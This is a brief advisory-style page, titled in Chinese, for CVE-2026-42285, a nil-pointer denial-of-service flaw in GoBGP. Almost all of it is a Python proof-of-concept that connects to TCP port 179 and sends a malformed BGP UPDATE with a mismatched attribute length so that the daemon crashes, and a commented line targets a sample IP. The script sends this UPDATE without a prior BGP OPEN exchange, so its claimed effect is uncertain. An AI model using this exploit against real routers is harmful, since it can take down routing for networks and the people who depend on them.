CVE-2026-42285 GoBGP空指针拒绝服务漏洞

# This is a Proof of Concept for CVE-2026-42285 # It demonstrates the concept of sending a malformed BGP UPDATE # causing a panic due to nil pointer dereference in GoBGP. import socket import struct def send_malformed_bgp(target_ip, target_port=179): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # BGP Marker (16 bytes) marker = b'\xFF' * 16 # BGP Message Type: UPDATE (2) msg_type = b'\x02' # Withdrawn Routes Length (0) withdrawn_len = struct.pack('!H', 0) # Total Path Attribute Length (Inconsistent value) # Setting a length that does not match the actual attributes sent attr_len = struct.pack('!H', 10) # Malformed Attribute Data (Shorter than attr_len or invalid) # This inconsistency triggers the state transition bug attr_data = b'\x00' * 5 # Construct the packet length # Marker(16) + Len(2) + Type(1) + Withdrawn(2) + AttrLen(2) + Data(5) = 28 bytes msg_len = struct.pack('!H', 28) packet = marker + msg_len + msg_type + withdrawn_len + attr_len + attr_data # Send payload s.send(packet) print("[+] Malformed BGP UPDATE sent to %s" % target_ip) except Exception as e: print("[-] Error: %s" % e) finally: s.close() # Usage example (uncomment to test): # send_malformed_bgp("192.168.1.10")